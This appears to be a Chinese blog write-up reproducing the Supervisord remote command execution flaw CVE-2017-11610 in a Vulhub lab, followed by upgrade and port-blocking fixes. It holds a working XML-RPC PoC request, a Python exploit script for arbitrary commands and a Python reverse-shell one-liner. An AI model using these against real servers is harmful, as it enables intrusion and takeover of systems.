Supervisord 远程命令执行漏洞(CVE-2017-11610)

Supervisord 远程命令执行漏洞(CVE-2017-11610)

一、漏洞介绍

Supervisord是一款用Python语言开发的管理后台应用(服务)的工具,方便运维人员使用图形化界面进行管理。

Supervisord曾曝出了一个需认证的远程命令执行漏洞(CVE-2017-11610)。通过POST请求向Supervisord管理界面提交恶意数据,可以获取服务器操作权限,带来严重的安全风险。

利用条件:
Supervisor版本在受影响范围内
Supervisor 9001管理端口可以被外网访问
Supervisor未配置密码或使用弱密码

漏洞影响范围:
Supervisor version 3.1.2
Supervisor version 3.3.2

二、漏洞危害

利用该漏洞远程POST请求,向Supervisord管理界面提交恶意数据,可以获取服务器操作权限。

三、漏洞验证

环境搭建:

实验环境 系统 IP地址
攻击机 win10 192.168.18.7
靶机 win10 192.168.18.7:9001

这里我使用Vulhub搭建环境:
docker-compose build
docker-compose up -d
环境启动后,访问http://your-ip:9001即可查看Supervisord的页面。
在这里插入图片描述

PoC1(无回显):

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

直接发送数据包执行任意命令:
在这里插入图片描述
成功创建success文件:
在这里插入图片描述

PoC2:

@Ricter 在微博上提出的一个思路,甚是有效,就是将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。

#!/usr/bin/env python3
import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

使用Python3执行并获取结果:python poc.py "http://your-ip:9001/RPC2" "command"
在这里插入图片描述

注:直接复制浏览器中的URL会带上“/”,这样会导致报错!
在这里插入图片描述

反弹shell:

利用bash反弹shell失败,原因未知。想到Supervisord是一款用Python语言开发的管理后台应用(服务)的工具,试试python反弹:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

在这里插入图片描述

注:反弹成功后会导致web服务崩溃,exit后服务恢复。

四、漏洞修复

参照以下步骤来修复该漏洞:

  1. 如果不需要使用该服务软件,建议您关停卸载该软件,同时检查服务器上是否存在不正常的进程或异常账号,确保服务器运行正常。
  2. 如需使用该服务软件,建议卸载后,重新安装并升级到官方最新3.3.3版本,重新安装前建议创建快照或备份数据。
  3. 由于该漏洞利用Supervisor开放的9001管理端口发起远程攻击,阿里云用户可以使用ECS安全组策略屏蔽公网入、内网入方向的9001端口。
  4. 为Supervisor配置RPC登录认证强密码。建议您使用8位字符以上的密码,且包含大小写字母、数字、特殊字符等。

参考链接:
https://paper.seebug.org/367/
https://www.ichunqiu.com/course/58899
https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章